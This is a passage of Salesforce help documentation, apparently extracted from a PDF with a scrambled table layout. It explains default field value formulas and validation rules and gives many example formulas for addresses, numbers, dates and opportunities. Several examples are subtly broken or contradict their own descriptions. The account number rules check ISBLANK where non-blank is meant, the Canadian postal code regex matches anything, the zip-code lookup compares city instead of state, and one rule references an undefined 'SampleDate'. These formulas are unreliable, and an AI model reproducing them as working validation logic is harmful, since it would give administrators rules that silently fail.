The user can change the field's value but the initial default field value is only executed once, during record creation. For example, you can set the default field value on a custom lead field to seven days after the creation date to signify when to contact the lead again. You can change this value later, but you cannot automatically restore the value that was seven days after the creation date. Set up default field values for the following types of custom fields: Checkbox Currency Date Date/Time Email Number Percent

1179

Customize

Defining Default Field Values

Phone Picklist (use the default option when setting up the picklist) Text Text Area URL

For a description of these types, see Custom Field Types on page 1095.

See Also:
Defining Default Field Values Default Field Value Considerations Useful Default Field Value Formulas

Useful Default Field Value Formulas


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view default field values: To define or change default field values: View Setup and Configuration Customize Application

Maximum Discount Rate Your organization my apply different discount rates to opportunities based on the department of the person creating the opportunity. Use the following example to set a default value for a custom field called Discount Rate on opportunities.
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the IT department or 15% on any opportunity created by someone in the Field department. A zero is applied if the creator does not belong to either of these departments. This is a custom percent field on opportunities that uses the standard user field Department. For more information on using this function, see CASE on page 1241. Product Language You may want to associate a product with its language so that your users know the type of documentation or adapter to include. Use the following default value formula to automatically set the language of a product based on the country of the user creating the product. In this example, the default value is Japanese if the user's country is Japan and English if the user's country is US. If neither is true, the default value unknown is inserted into the Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

For more information on using this function, see CASE on page 1241.

1180

Customize

Defining Default Field Values

Tax Rate Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the following default value:
IF($User.City = "Napa", 0.0750, IF($User.City = "Paso Robles", 0.0725, IF($User.City = "Sutter Creek", 0.0725, IF($User.City = "Los Olivos", 0.0750, IF($User.City = "Livermore", 0.0875, null ) ) ) ) )

In this example, a tax rate of 8.75% is applied to an asset when the user's address is in the city of Livermore. When none of the cities listed apply, the Tax Rate field is empty. You can also use the Tax Rate field in formulas to automatically calculate taxable amounts and final sales prices.

See Also:
Defining Default Field Values Default Field Value Considerations About Default Field Values

Default Field Value Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Default field values automatically insert the value of a custom field when a new record is created. A default value can be based on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. Review the following considerations before incorporating default field values in your organization. If a default value is based on the value of a merge field, Salesforce uses the value of the merge field at the time the default value is executed. If the value of the merge field changes later, the default value is not updated. Users can change or remove the default field value on a record. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. If you make an activity custom field universally required, you must also provide a default value. If an activity custom field is unique, you cannot provide a default value. Default field values are different from formula fields in the following ways: they are only executed once, at record creation; they are not read only; and the user can change the value but cannot restore the default field value. Since the default value is inserted before users enter any values in the new record, you cannot use the fields on the current record to create a default field value. For example, you cannot create a default field value on a contact that uses the first initial and last name because those values are not available when you click New to create a contact record. However, you can use the record type because it is selected before the record edit page displays. To apply a different default value for different record types, use the record type as a merge field in a CASE function within the default field value setup.

1181

Customize

Managing Validation Rules

Fields that are not visible to the user due to field-level security are still available in the formula for a default field value. Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook do not display default values. However, Salesforce inserts the default values when a user syncs unless the user entered a value. Default field values are not available in the Self-Service portal. Lead conversion, Web-to-Lead, and Web-to-Case do not execute default field values. Note: You can define a formula for default values only where appropriate. For example, the default value options for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked, or Use first value as default value.

See Also:
Defining Default Field Values About Default Field Values Useful Default Field Value Formulas

Managing Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. From the validation rules page you can: Define a validation rule. Click Edit next to a rule name to update the rule fields. Delete a validation rule. Click a validation rule name to view more details or to clone the rule. Activate a validation rule.

See Also:
About Validation Rules Examples of Validation Rules

1182

Customize

Managing Validation Rules

About Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Improve the quality of your data using validation rules. Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. After you have defined validation rules: 1. The user chooses to create a new record or edit an existing record. 2. The user clicks Save. 3. All validation rules are verified. If all data is valid, the record is saved. If any data is invalid, the associated error message displays without saving the record.

4. The user makes the necessary changes and clicks Save again. You can specify the error message to display when a record fails validation and where to display it. For example, your error message can be The close date must occur after today's date. You can choose to display it near a field or at the top of the page. Like all other error messages, validation rule errors display in red text and are preceded by the word Error. Important: Validation rules apply to new and updated records for an object, even if the fields referenced in the validation rule are not included in a page layout or an API call. Validation rules don't apply if you create new records for an object with Quick Create. If your organization has multiple page layouts for the object on which you create a validation rule, verify that the validation rule functions as intended on each layout. If your organization has any integrations that use this object, verify that the validation rule functions as intended for each integration.

See Also:
Defining Validation Rules Activating Validation Rules Cloning Validation Rules Validation Rules Fields Examples of Validation Rules

1183

Customize

Managing Validation Rules

Defining Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field validation rules: To define or change field validation rules: View Setup and Configuration Customize Application

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. Before creating validation rules, review the Validation Rule Considerations. 1. Navigate to the relevant object, field, campaign member, or case milestone. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Validation Rules. For custom objects, click Your Name > Setup > Create > Objects and select the custom object. To create a validation rule for the field in Ideas, click Your Name > Setup > Customize > Ideas > Comment Validation Rules. To create validation rules for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Validation Rules. To create validation rules for case milestones (entitlement management must be enabled), click Your Name > Setup > Customize > Cases > Case Milestones > Validation Rules.

2. 3. 4. 5.

In the Validation Rules related list, click New. Enter the properties of your validation rule. To check your formula for errors, click Check Syntax. Click Save to finish or Save & New to create additional validation rules. Note: The detail page of a custom activity field does not list associated validation rules. To edit the validation rule for a custom activity field, select the validation rule by clicking Your Name > Setup > Customize > Activities and choose Task Validation Rules or Event Validation Rules.

See Also:
About Validation Rules Activating Validation Rules Cloning Validation Rules Validation Rules Fields Examples of Validation Rules

1184

Customize

Managing Validation Rules

Merge Fields for Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. Syntax and Formatting When you insert a merge field in a validation rule, the syntax consists of the object, a period, and the field name. For example, $User.State corresponds with a users state or province. The syntax for a merge field may differ, depending on where youre using it in Salesforce. To ensure that youre using the correct syntax, select merge fields from the drop-down list in the editor where youre using the merge field. The merge fields for validation rules correspond directly with the fields in your app. For a list of fields with your standard objects, go to Your Name > Setup > Customize, click the standard object in question, and click Fields. For a list of fields with your custom objects, go to Your Name > Setup > Create > Objects, click the custom object in question, and look in the Standard Fields and Custom Fields & Relationships areas. Important: If a custom objects name and label are identical to the name and label of another object, you may see unexpected behavior when using that objects merge fields. If a standard object and custom object have matching names or labels, only the standard object's fields display when you select from Available Merge Fields. For example, if you have a custom object and a standard object both called Quote, you wont be able to select the custom object. To ensure that you can select merge fields from either object, add a character to make the custom objects name and label unique, such as Quote2. If two or more custom objects have matching names or labels, only one of the objects displays when you select from Available Merge Fields. Ensure that all custom objects have unique names and labels so that you can select merge fields from any of the objects.

Limitations Validation rules cant reference merge fields for: Auto number fields, such as Requisition Number Compound fields, such as addresses, first and last names, dependent picklists, and dependent lookups Note: Validation rules can reference merge fields individual address fields, such as Billing City

Campaign statistic fields, including statistics for individual campaigns and campaign hierarchies.

For a full list of fields that cant be used in validation rules, see Campaign Fields on page 3000. Tips Some merge fields display as radio buttons but function like picklist fields when referenced in a formula.

1185

Customize

Managing Validation Rules

Use the values Read, Edit, and None in a formula when referencing: $UserRole.CaseAccessForAccountOwner $UserRole.OpportunityAccessForAccountOwner CaseAccessLevel (on Territory) OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All in a formula when referencing: AccountAccessLevel (on Territory) Use the record type ID merge field in your formula to apply different validation for different record types.

See Also:
Merge Fields Overview Defining Validation Rules Examples of Validation Rules

Activating Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field validation rules: To define or change field validation rules: View Setup and Configuration Customize Application

1. Navigate to the relevant object, field, campaign member, or case milestone. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Validation Rules. For custom objects, click Your Name > Setup > Create > Objects and select the custom object. To create a validation rule for the field in Ideas, click Your Name > Setup > Customize > Ideas > Comment Validation Rules. To create validation rules for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Validation Rules. To create validation rules for case milestones (entitlement management must be enabled), click Your Name > Setup > Customize > Cases > Case Milestones > Validation Rules.

2. Click Edit next to the rule you want to activate. 3. To activate the rule, select Active, and click Save. 4. To deactivate the rule, deselect Active, and click Save.

1186

Customize

Managing Validation Rules

Note: The detail page of a custom activity field does not list associated validation rules. To activate the validation rule for a custom activity field, select the validation rule by clicking Your Name > Setup > Customize > Activities and choose Task Validation Rules or Event Validation Rules.

See Also:
Defining Validation Rules Validation Rules Fields

Cloning Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field validation rules: To define or change field validation rules: View Setup and Configuration Customize Application

1. Navigate to the relevant object, field, campaign member, or case milestone. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Validation Rules. For custom objects, click Your Name > Setup > Create > Objects and select the custom object. To create a validation rule for the field in Ideas, click Your Name > Setup > Customize > Ideas > Comment Validation Rules. To create validation rules for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Validation Rules. To create validation rules for case milestones (entitlement management must be enabled), click Your Name > Setup > Customize > Cases > Case Milestones > Validation Rules.

2. 3. 4. 5.

In the Validation Rules related list, click the name of the validation rule. Click Clone. Define the new rule based on the original rule. Click Save to finish or Save & New to create additional validation rules.

1187

Customize

Managing Validation Rules

Note: The detail page of a custom activity field does not list associated validation rules. To edit the validation rule for a custom activity field, select the validation rule by clicking Your Name > Setup > Customize > Activities and choose Task Validation Rules or Event Validation Rules.

See Also:
Defining Validation Rules Validation Rules Fields Activating Validation Rules

Validation Rules Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Field
Rule Name

Description Unique identifier of up to 40 characters with no spaces or special characters such as extended characters. Checkbox that indicates if the rule is enabled. A 255 character or less description that distinguishes the validation rule from others. For internal purposes only. The expression used to validate the field. See Building Formulas and Operators and Functions. The message that displays to the user when a field fails the validation rule. If your organization uses the Translation Workbench, you can translate the error message into the languages Salesforce supports. See Setting Up the Translation Workbench.

Active Description

Error Condition Formula

Error Message

Error Location

Determines where on the page to display the error. To display the error next to a field, choose Field and select the field. If the error location is a field, the validation rule is also listed on the detail page of that field. If the error location is set to a field that is later deleted or a field that is read only or not visible on the page layout, Salesforce automatically changes the error location to Top of Page.

1188

Customize

Managing Validation Rules

Field

Description Note: Error messages can only be displayed at the top of the page in validation rules for case milestones and Ideas.

See Also:
Defining Validation Rules Cloning Validation Rules Activating Validation Rules

Examples of Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field validation rules: To define or change field validation rules: View Setup and Configuration Customize Application

Use the following samples for validation rules in Salesforce and Force.com AppExchange apps, including: Account Validation Rules Contact Validation Rules Opportunity Management Validation Rules Quote Validation Rules Call Center Validation Rules User, Role, and Profile Validation Rules Account Address Validation Rules Date Validation Rules Number Validation Rules Cross Object Validation Rules Community Validation Rules (Answers and Ideas)

1189

Customize

Managing Validation Rules

Other Validation Rules

See Also:
About Validation Rules Defining Validation Rules Activating Validation Rules Cloning Validation Rules Validation Rules Fields

Account Address Validation Rules


Canadian Billing Postal Code Field Description: Formula:
AND( OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry = "Canada"), NOT(REGEX(BillingPostalCode, "((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?")) )

Value Validates that the account Billing Zip/Postal Code is in the correct format if Billing Country is Canada.

Error Message: Error Location:

Canadian postal code must be in A9A 9A9 format. Billing Zip/Postal Code

Billing Zip Code Is in Billing State Field Description: Value Validates that the account Billing Zip/Postal Code is valid by looking up the first five characters of the value in a custom object called Zip_Code__c that contains a record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c object, or the Billing State does not match the corresponding State_Code__c in the Zip_Code__c object, an error is displayed.
VLOOKUP( $ObjectType.Zip_Code__c.Fields.City__c , $ObjectType.Zip_Code__c.Fields.Name , LEFT(BillingPostalCode,5)) <> BillingCity

Formula:

Error Message: Error Location:

Billing Zip Code does not exist in specified Billing State. Billing Zip/Postal Code

1190

Customize

Managing Validation Rules

US Billing Zip Code Field Description: Formula:


AND( OR(BillingCountry = "USA", BillingCountry = "US"), NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?")) )

Value Validates that the account Billing Zip/Postal Code is in 99999 or 99999-9999 format if Billing Country is USA or US.

Note: This example uses the REGEX function; see Shipping Zip Code on page 1191 if you are not familiar with regular expressions.

Error Message: Error Location:

Zip code must be in 99999 or 99999-9999 format. Billing Zip/Postal Code

Shipping Zip Code Field Description: Value Validates that the account Shipping Zip/Postal Code is in 99999 or 99999-9999 format if Shipping Country is USA or blank.

1191

Customize

Managing Validation Rules

Field Formula:

Value
AND( OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)), OR( AND(LEN(ShippingPostalCode) <>5, LEN(ShippingPostalCode) <> 10), NOT(CONTAINS("0123456789", LEFT( ShippingPostalCode, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 2, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 3, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 4, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 5, 1))), AND( LEN(ShippingPostalCode) = 10, OR( MID( ShippingPostalCode , 6, 1) <> "-", NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 7, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 8, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 9, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 10, 1))) ) ) ) )

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Tip: You can also validate zip codes using a regular expression; for an example of a formula using a regular expression, see REGEX on page 1269.

Error Message: Error Location:

Zip code must be in 99999 or 99999-9999 format. Shipping Zip/Postal Code

Valid Billing State (US) Field Description: Value Validates that the account Billing State/Province is a valid two-character abbreviation if Billing Country is US, USA, or blank.

1192

Customize

Managing Validation Rules

Field Formula:

Value
AND ( OR(BillingCountry = "US", BillingCountry="USA", ISBLANK(BillingCountry)), OR( LEN(BillingState) < 2, NOT( CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" & "IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" & "NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" & "WA:WV:WI:WY", BillingState) )))

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Error Message: Error Location: A valid two-letter state code is required.
Billing State/Province

Valid Billing Province (Canada) Field Description: Formula:


AND ( OR(BillingCountry = "CA", BillingCountry="CAN"), OR( LEN(BillingState) < 2, NOT( CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState) )))

Value Validates that the account Billing State/Province is a valid two-character abbreviation if Billing Country is CA or CAN.

Error Message: Error Location:

A valid two-letter province code is required.


Billing State/Province

Valid Shipping State Field Description: Value Validates that the account Shipping State/Province is a valid two-character abbreviation if Shipping Country is US, USA, or blank.

1193

Customize

Managing Validation Rules

Field Formula:

Value
AND ( OR(ShippingCountry = "US", ShippingCountry="USA", ISBLANK(ShippingCountry)), OR( LEN(ShippingState) < 2, NOT( CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" & "IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" & "NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" & "WA:WV:WI:WY", ShippingState) )))

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Error Message: Error Location: A valid two-letter state abbreviation is required.
Shipping State/Province

Valid Shipping Province (Canada) Field Description: Formula:


AND ( OR(ShippingCountry = "CA", ShippingCountry="CAN"), OR( LEN(ShippingState) < 2, NOT( CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState) )))

Value Validates that the account Shipping State/Province is a valid two-character abbreviation, if Billing Country is CA or CAN.

Error Message: Error Location:

A valid two-letter province abbreviation is required.


Shipping State/Province

Valid Billing Country Field Description: Value Validates that the account Billing Country is a valid ISO 3166 two-letter code.

1194

Customize

Managing Validation Rules

Field Formula:

Value
OR( LEN(BillingCountry) = 1, NOT( CONTAINS( "AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" & "AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" & "BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" & "CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" & "CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" & "FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" & "GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" & "IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" & "KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" & "MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" & "MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" & "NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" & "PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" & "SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" & "LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" & "TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" & "VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW", BillingCountry)))

Error Message: Error Location:

A valid two-letter country code is required.


Billing Country

Account Validation Rules


Account Number Is Numeric Field Description: Formula:
AND( ISBLANK(AccountNumber), NOT(ISNUMBER(AccountNumber)) )

Value Validates that the Account Number is numeric if not blank.

Error Message: Error Location:

Account Number is not numeric.


Account Number

Account Number Length Field Description: Value Validates that the Account Number is exactly seven digits (if it is not blank). The number seven is simply illustrative. You can change this to any number you like.

1195

Customize

Managing Validation Rules

Field Formula:

Value
AND( ISBLANK(AccountNumber), LEN(AccountNumber) <> 7 )

Error Message: Error Location:

Account Number must be seven digits.


Account Number

Annual Revenue Range Field Description: Formula:


OR( AnnualRevenue < 0, AnnualRevenue > 100000000000 )

Value Validates that the account Annual Revenue is not negative and does not exceed $100 billion. This limit is designed to catch typos.

Error Message: Error Location:

Annual Revenue cannot exceed 100 billion.


Annual Revenue

Number Validation Rules


Time Cards Must Total 40 Hours Field Description: Value Ensures that users cannot save a time card record with more than 40 hours in a work week. This example requires five custom fields on your custom object, one for each day of work.
Monday_Hours__c + Tuesday_Hours__c + Wednesday_Hours__c + Thursday_Hours__c + Friday_Hours__c > 40

Formula:

Error Message: Error Location:

Your total hours cannot exceed 40.


Top of Page

1196

Customize

Managing Validation Rules

Number Cannot Be Negative Field Description: Formula:


Hours_Worked__c < 0

Value Validates that a custom field called Hours Worked is not a negative number.

Error Message: Error Location:

Hours Worked cannot be less than zero.


Hours Worked

Number Must Be Even Field Description: Formula:


OR( Ark_Passengers__c < 0, MOD( Ark_Passengers__c, 2) <> 0 )

Value Validates that a custom field called Ark Passengers is a non-negative even number.

Error Message: Error Location:

Ark Passengers must be a positive even number.


Ark Passengers

Number Must Be Odd Field Description: Formula:


OR( Socks_Found__c < 0, MOD( Socks_Found__c, 2) = 0 )

Value Validates that a custom field called Socks Found is a non-negative odd number.

Error Message: Error Location:

Socks Found must be an odd number.


Socks Found

Number Must Be a Multiple of Five Field Description: Value Validates that a custom field called Multiple of 5 is a multiple of five.

1197

Customize

Managing Validation Rules

Field Formula:

Value
MOD( Multiple_of_5__c, 5) <> 0

Error Message: Error Location:

Number must be a multiple of five.


Multiple of 5

Number Must Be an Integer Field Description: Formula:


FLOOR( My_Integer__c) <> My_Integer__c

Value Validates that a custom field called My Integer is an integer.

Error Message: Error Location:

This field must be an integer.


My Integer

Number Must Be Between -50 and 50 Field Description: Formula:


ABS( Volume__c) > 50

Value Validates that a custom field called Volume is between -50 and 50.

Error Message: Error Location:

Volume must be between -50 and 50.


Volume

Number Range Validation Field Description: Formula:


(Salary_Max__c - Salary_Min__c) > 20000

Value Validates that the range between two custom fields, Salary Min and Salary Max, is no greater than $20,000.

Error Message: Error Location:

Salary range must be within $20,000. Adjust the Salary Max or Salary Min values.
Salary Max

1198

Customize

Managing Validation Rules

Percentage Must Be Between Zero and 100 Field Description: Value Validates that a custom field called Mix Pct is between 0 and 100%. Note that percent fields are expressed divided by 100 in formulas (100% is expressed as 1; 50% is expressed as 0.5).
OR( Mix_Pct__c > 1.0, Mix_Pct__c < 0.0 )

Formula:

Error Message: Error Location:

Mix Pct must be between 0 and 100%.


Mix Pct

Contact Validation Rules


Mailing Address Fields Are Required Field Description: Formula:
OR( ISBLANK( MailingStreet ), ISBLANK( MailingCity ), ISBLANK( MailingCountry ) )

Value Validates that the contact Mailing Street, Mailing City, and Mailing Country are provided.

Error Message: Error Location:

Mailing Street, City, and Country are required.


Top of Page

Mailing Street Is Required Field Description: Formula:


ISBLANK( MailingStreet )

Value Validates that the contact Mailing Street is provided.

Error Message: Error Location:

Mailing Street is required.


Mailing Street

1199

Customize

Managing Validation Rules

Mailing Zip Code Field Description: Formula:


AND( OR(MailingCountry = "USA", ISBLANK(MailingCountry)), OR( AND(LEN(MailingPostalCode) <>5, LEN(MailingPostalCode) <> 10), NOT(CONTAINS("0123456789", LEFT( MailingPostalCode, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 2, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 3, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 4, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 5, 1))), AND( LEN(MailingPostalCode) = 10, OR( MID( MailingPostalCode , 6, 1) <> "-", NOT(CONTAINS("0123456789", MID( MailingPostalCode , 7, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 8, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 9, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 10, 1))) ) ) ) )

Value Validates that the contact Mailing Zip/Postal Code is in 99999 or 99999-9999 format if Mailing Country is USA or blank.

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Tip: You can also validate zip codes using a regular expression; for an example of a formula using a regular expression, see REGEX on page 1269.

Error Message: Error Location:

Zip code must be in 99999 or 99999-9999 format.


Mailing Zip/Postal Code

Phone Number Has International Format Field Description: Value Validates that the Phone number begins with a plus sign (+) for country code. Note that this validation rule conflicts with the ten-digit rule.

1200

Customize

Managing Validation Rules

Field Formula:

Value
LEFT(Phone, 1) <> "+"

Error Message: Error Location:

Phone number must begin with + (country code).


Phone

US Phone Number Has Ten Digits Field Description: Formula:


NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))

Value Validates that the Phone number is in (999) 999-9999 format. This works by using the REGEX function to check that the number has ten digits in the (999) 999-9999 format.

Error Message: Error Location:

US phone numbers should be in this format: (999) 999-9999.


Phone

Date Validation Rules


Date Must Be a Weekday Field Description: Formula:
CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7), 0, 0, 6, 0, 1) = 0

Value Validates that the value of a custom date field is a weekday (not Saturday or Sunday).

Error Message: Error Location:

Date must be a weekday.


My Date

Date Must Be a Weekend Day Field Description: Value Validates that the value of a custom date field is a Saturday or Sunday.

1201

Customize

Managing Validation Rules

Field Formula:

Value
CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7), 0, 1, 6, 1, 0) = 0

Error Message: Error Location:

Date must be a weekend day.


My Date

Date Must Be in the Current Month Field Description: Formula:


OR ( YEAR( My_Date__c ) <> YEAR ( TODAY() ), MONTH( My_Date__c ) <> MONTH ( TODAY() ) )

Value Validates that a custom date field contains a date within the current month and year.

Error Message: Error Location:

Date must be in the current month.


My Date

Date Must Be in the Current Year Field Description: Formula: Error Message: Error Location: Value Validates that a custom date field contains a date within the current year.
YEAR( My_Date__c ) <> YEAR ( TODAY() )

Date must be in the current year.


My Date

Date Must Be the Last Day of the Month Field Description: Value Validates whether a custom field called My Date is the last day of the month. To do this, it determines the date of the first day of the next month and then subtracts 1 day. It includes special case logic for December.
DAY(My_Date__c) <> IF(Month(My_Date__c)=12, 31, DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

Formula:

Error Message:

Date must be the last day of the month.

1202

Customize

Managing Validation Rules

Field Error Location:

Value
My Date

Date Must Be Within One Year of Today Field Description: Formula:


Followup_Date__c - TODAY() > 365

Value Validates whether a custom field called Follow-Up Date is within one year of todays date. This example assumes a 365 day year. (It does not handle leap years.)

Error Message: Error Location:

Follow-Up Date must be within one year of today.


Follow-Up Date

Day of Month Cannot Be Greater Than 15 Field Description: Formula:


DAY( Begin_Date__c ) > 15

Value Validates that a custom field called Begin Date contains a date in the first 15 days of the specified month.

Error Message: Error Location:

Begin Date cannot be after the 15th day of month.


Begin Date

End Date Cannot Be Before Begin Date Field Description: Formula:


Begin_Date__c > End_Date__c

Value Validates that a custom field called End Date does not come before another custom field called Begin Date.

Error Message: Error Location:

End Date cannot be before Begin Date.


Begin Date

1203

Customize

Managing Validation Rules

Expiration Date Cannot Be Before Close Date Field Description: Formula:


Expiration_Date__c < CloseDate

Value Validates that a custom field called Expiration Date does not come before Close Date.

Error Message: Error Location:

Expiration Date cannot be before Close Date.


Expiration Date

Opportunity Management Validation Rules


Conditionally-Required Field Based on Opportunity Stage Field Description: Formula:
AND ( OR ( ISPICKVAL(StageName, "Closed Won"), ISPICKVAL(StageName, "Negotiation/Review")), ISBLANK(Delivery_Date__c) )

Value Validates that a custom field called Delivery Date is provided if an opportunity has advanced to the Closed Won or Negotiation/Review stage.

Error Message: Error Location:

Delivery Date is required for this stage.


Delivery Date

Close Date Cannot Be Prior to Current Month Field Description: Value Validates that the Close Date of an opportunity is not within a month prior to the current month. Note the use of ISNEW and ISCHANGED in this formula to ensure the condition is only checked when the opportunity is being created or the Close Date field is modified subsequently.
AND( OR ( ISNEW(), ISCHANGED( CloseDate )), CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )

Formula:

Error Message:

Close Date cannot be prior to current month.

1204

Customize

Managing Validation Rules

Field Error Location:

Value
Close Date

Close Date Must Be a Future Date Field Description: Formula:


SampleDate < TODAY()

Value Ensures that users do not change the Close Date of an opportunity to a day in the past.

Error Message: Error Location:

Close Date cannot be a day in the past.


Close Date

Discounts on Opportunities Field Description: Formula: Error Message: Error Location: Value Validates that a custom discount percent field is between 0 and 40%.
OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

The Discount Rate must not exceed 40%.


Discount Rate

High-Value Opportunity Must Be Approved Before Closed Field Description: Value Opportunities with amounts greater than $50,000 require that a custom checkbox field called Approved is checked in order to change the stage to Closed Won or Closed Lost. To automate this, set field-level security on the Approved checkbox so that it can only be checked via a custom approval process (Enterprise Edition or Unlimited Edition).
AND( OR( ISPICKVAL(StageName,"Closed Won"), ISPICKVAL(StageName,"Closed Lost")), (Amount > 50000), NOT(ISPICKVAL(Approval_Status__c ,"Approved")))

Formula:

Error Message: Error Location:

All high-value opportunities must be approved for closure. Click the Request Close button.
Top of Page

1205

Customize

Managing Validation Rules

Opportunity Amount Cannot Exceed $10 Million Field Description: Formula:


OR( Amount < 0, Amount > 10000000 )

Value Validates that opportunity Amount is positive and no more than $10 million. This limit is designed to catch typos.

Error Message: Error Location:

Amount cannot exceed $10 million.


Amount

Opportunity Check for Products Field Description: Formula:


NOT(OR(ISNEW(),HasOpportunityLineItem))

